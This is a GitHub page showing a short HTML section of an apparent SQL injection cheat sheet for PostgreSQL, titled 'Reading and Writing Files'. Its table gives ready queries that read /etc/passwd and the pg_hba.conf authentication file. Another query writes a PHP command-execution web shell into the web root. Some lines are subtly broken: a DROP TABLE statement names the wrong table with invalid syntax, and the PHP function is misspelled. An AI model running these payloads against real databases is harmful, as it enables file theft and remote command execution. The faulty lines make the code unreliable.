-
Notifications
You must be signed in to change notification settings - Fork 148
Expand file tree
/
Copy pathpostgresql.html
More file actions
39 lines (36 loc) · 1016 Bytes
/
postgresql.html
File metadata and controls
39 lines (36 loc) · 1016 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<h3 id="reading-and-writing-files">Reading and Writing Files</h3>
<p class="pageDescription">{{site.data.injectionDescriptions.readingAndWritingFiles}}</p>
<p>* Requires privileged user</p>
<table class="table table-striped table-hover">
<thead>
<tr>
<th>Description</th>
<th>Query</th>
</tr>
</thead>
<tbody>
<tr>
<td>Read Files from Operating System - COPY</td>
<td>
CREATE TABLE mydata(t text);<br>
COPY mydata FROM '/etc/passwd';<br>
SELECT * FROM mydata;<br>
DROP TABLE mytest mytest;<br>
</td>
</tr>
<tr>
<td>Read Files from Operating System - pg_read_file</td>
<td>
SELECT pg_read_file('/usr/local/pgsql/data/pg_hba.conf', 0, 200);
</td>
</tr>
<tr>
<td>Writing Files from Operating System</td>
<td>
CREATE TABLE mytable (mycol text);<br>
INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>');<br>
COPY mytable (mycol) TO '/var/www/test.php';<br>
</td>
</tr>
</tbody>
</table>